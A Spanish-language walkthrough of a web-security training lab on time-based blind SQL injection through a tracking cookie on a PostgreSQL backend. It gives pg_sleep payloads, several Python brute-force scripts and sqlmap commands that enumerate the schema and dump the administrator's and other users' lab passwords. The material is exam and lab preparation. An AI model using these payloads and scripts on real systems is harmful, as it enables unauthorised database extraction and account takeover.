SQLI Lab 15
Skills
- Blind SQL injection with time delays and information retrieval
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
contiene una Blind SQL Injection
. La aplicación
usa una cookie de seguimiento
para análisis
y ejecuta una consulta SQL
que contiene el valor
de la cookie enviada
. Los resultados
de la consulta SQL
no se devuelven
, y la aplicación
no responde de manera diferente dependiendo de si la consulta
devuelve filas
o genera un error
. Sin embargo, dado que la consulta
se ejecuta de manera síncrona
, es posible activar time delays
para obtener información
. La base de datos
contiene una tabla
diferente llamada users
, con columnas
llamadas username
y password
. Debemos explotar
la Blind SQL Injection
para descubrir la contraseña
del usuario administrador
. Para resolver
el laboratorio, debemos iniciar sesión
como el usuario administrador
Resolución
Al acceder
a la web
nos sale esto
Si capturamos
la petición
a la web con Burpsuite
vemos un campo llamado TrackingId
He probado a añadir '
, "
, )
junto con los operadores or
y and
y no he encontrado ningún
cambio
en la web. Sin embargo he usado los operadores ||
para concatenar con pg_sleep(10)
y web ha tardado 10 segundos
en responder
, además sabemos que nos estamos enfrentando a un PostgreSQL
porque la instrucción pg_sleep(10)
es propia de esta base
de datos
1
Cookie: TrackingId=x28BMrUFiaXdwOX9'||+pg_sleep(10)--+-+; session=E2WYaiK3xD6cIhaLsbMrAy8CIgDpJN9Y
Con este payload
podemos listar
la versión
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length(version())>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
La longitud
es de 134 caracteres
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length(version())=134)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Podemos usar este payload
para bruteforcear carácter a carácter
el output
de la query
al completo
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr(version(),1,1)='P')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Con este script
de python
vamos a iterar
sobre el payload anterior
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 135):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr(version(),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
time_start = time.time()
r = requests.get(url, cookies=cookies)
time_end = time.time()
if time_end - time_start > 2:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Vemos que nos encontramos ante una base de datos PostgreSQL
1
2
3
# python sqli_time_based.py
[┐] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr(version(),134,1)='t') then pg_sleep(2) else pg_sleep(0) end-- -
[|] Output: PostgreSQL+12.20+(Ubuntu+12.20-0ubuntu0.20.04.1)+on+x86_64-pc-linux-gnu,+compiled+by+gcc+(Ubuntu+9.4.0-1ubuntu1~20.04.2)+9.4.0,+64-bit
Podemos usar este payload
para obtener
la longitud
de todas
las bases
de datos
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(datname,', ')+from+pg_database))>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
La longitud
es de 44 caracteres
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(datname,', ')+from+pg_database))=44)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Con este otro payload
vamos a poder bruteforcear
el nombre
de las bases
de datos
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr((select+string_agg(datname,', ')+from+pg_database),1,1)='a')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Vamos a usar este script
en python
para iterar
sobre el payload anterior
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 45):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(datname,', ') from pg_database),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
time_start = time.time()
r = requests.get(url, cookies=cookies)
time_end = time.time()
if time_end - time_start > 2:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
todas las bases
de datos
1
2
3
# python sqli_time_based.py
[├] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(datname,', ') from pg_database),44,1)='s') then pg_sleep(2) else pg_sleep(0) end-- -
[q] Output: postgres,+template1,+template0,+academy_labs
En PostgreSQL
cada base
de datos
contiene esquemas
y solo podemos seleccionar
los esquemas
de la base
de datos
a la que estemos conectados
. Para listar
los esquemas
de la base de datos actual
primero debemos obtener
la longitud
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(schema_name,', ')+from+information_schema.schemata))>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
La longitud
es de 38 caracteres
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(schema_name,', ')+from+information_schema.schemata))=38)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Vamos a usar este payload
para bruteforcear caracteres
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr((select+string_agg(schema_name,', ')+from+information_schema.schemata),1,1)='p')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Mediante este script
en python
vamos a iterar
sobre el payload anterior
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 39):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(schema_name,', ') from information_schema.schemata),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
time_start = time.time()
r = requests.get(url, cookies=cookies)
time_end = time.time()
if time_end - time_start > 2:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtener los esquemas
para la base de datos actual
1
2
3
# python sqli_time_based.py
[-] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(schema_name,', ') from information_schema.schemata),38,1)='a') then pg_sleep(2) else pg_sleep(
[↑] Output: pg_catalog,+public,+information_schema
Con este payload
podemos obtener
la longitud
de las tablas
del esquema public
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(table_name,', ')+from+information_schema.tables+where+table_schema='public'))>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
La longitud
es de 15 caracteres
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(table_name,', ')+from+information_schema.tables+where+table_schema='public'))=15)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Con este payload
podremos las tablas
del esquema public
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr((select+string_agg(table_name,', ')+from+information_schema.tables+where+table_schema='public'),1,1)='a')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Creamos este script
en python
para iterar
sobre el payload anterior
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 39):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(table_name,', ') from information_schema.tables where table_schema='public'),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
time_start = time.time()
r = requests.get(url, cookies=cookies)
time_end = time.time()
if time_end - time_start > 2:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
las tablas
del esquema public
1
2
3
# python sqli_time_based.py
[▝] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(table_name,', ') from information_schema.tables where table_schema='public'),38,1)='~') then p
[↑] Output: users,+tracking
Desarrollamos
un payload
para obtener
la longitud
de las columnas
de la tabla users
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(column_name,', ')+from+information_schema.columns+where+table_name='users'))>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
La longitud
es de 25 caracteres
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(column_name,', ')+from+information_schema.columns+where+table_name='users'))=25)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Desarrollamos
este payload
para obtener
el nombre
de las columnas
de la tabla users
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr((select+string_agg(column_name,', ')+from+information_schema.columns+where+table_name='users'),1,1)='a')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Con este script
de python
podemos iterar
sobre el payload anterior
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 26):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(column_name,', ') from information_schema.columns where table_name='users'),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
time_start = time.time()
r = requests.get(url, cookies=cookies)
time_end = time.time()
if time_end - time_start > 2:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
el nombre
de las columnas
de la tabla users
1
2
3
# python sqli_time_based.py
[▄] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(column_name,', ') from information_schema.columns where table_name='users'),25,1)='l') then pg
[▝] Output: username,+password,+email
Desarrollamos
este payload
para obtener
la longitud
del contenido
de las columnas username
y password
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(username||':'||password,', ')+from+public.users))>1)+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Obtenemos
que la longitud
es de 92
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(length((select+string_agg(username||':'||password,', ')+from+public.users))=92)+then+pg_sleep(1)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Desarrollamos
este payload
para bruteforcear
el contenido
1
Cookie: TrackingId=cHGMMcxehmRwG3jt'||case+when+(substr((select+string_agg(username||':'||password,', ')+from+public.users),1,1)='a')+then+pg_sleep(2)+else+pg_sleep(0)+end--+-+; session=ezlYBe5u09pOXF3zAZ4zeRaLp96CZ2pD
Con este script
en python
podemos iterar
sobre el payload anterior
y obtener
el contenido
de las columnas username
y password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 94):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(username||':'||password,', ') from public.users),%d,1)='%s') then pg_sleep(2) else pg_sleep(0) end-- - " % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
time_start = time.time()
r = requests.get(url, cookies=cookies)
time_end = time.time()
if time_end - time_start > 2:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
el contenido
1
2
3
# python sqli_time_based.py
[▗] Fuerza bruta: C5PhDxyLUgYK5wqP'||case when (substr((select string_agg(username||':'||password,', ') from public.users),92,1)='r') then pg_sleep(2) else pg_sleep(0)
[◐] Output: administrator:mefrzkiwwyr2z3lo5g4h,+wiener:d8w4x8fizkczx3gkshpz,+carlos:kheuii6fcx7wucr3v3qr
También podemos conseguir
estos datos
usando sqlmap
, lo primero es listar
las bases
de datos
1
2
3
# sqlmap -u https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/ --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=cbe7PxDUL4ndHDEm*; session=tcqLKIJ7VfzFA4XY90eUV0wgtK1d8NrT" --threads 2
available databases [1]:
[*] public
Listamos
las tablas
de la base de datos public
1
2
3
4
5
6
7
# sqlmap -u https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=cbe7PxDUL4ndHDEm*; session=tcqLKIJ7VfzFA4XY90eUV0wgtK1d8NrT" --threads 2 -D public --tables
Database: public
[2 tables]
+----------+
| tracking |
| users |
+----------+
Listamos
las columnas
de la tabla users
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=cbe7PxDUL4ndHDEm*; session=tcqLKIJ7VfzFA4XY90eUV0wgtK1d8NrT" --threads 2 -D public -T users --columns
Database: public
Table: users
[3 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| email | varchar |
| password | varchar |
| username | varchar |
+----------+---------+
Listamos
el contenido
de las columnas username
y password
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a8c0022048b993981c20d0000b3004b.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=cbe7PxDUL4ndHDEm*; session=tcqLKIJ7VfzFA4XY90eUV0wgtK1d8NrT" --threads 2 -D public -T users -C username,password --dump
Database: public
Table: users
[3 entries]
+---------------+----------------------+
| username | password |
+---------------+----------------------+
| carlos | bjv4v0umawo81xpuabf3 |
| wiener | cwkdrxvxt29va31jyffo |
| administrator | iqmve5i0fvgzejvklope |
+---------------+----------------------+
Nos logueamos
usando las credenciales administrator:iqmve5i0fvgzejvklope
![[image_3.png]]
![[image_4.png]]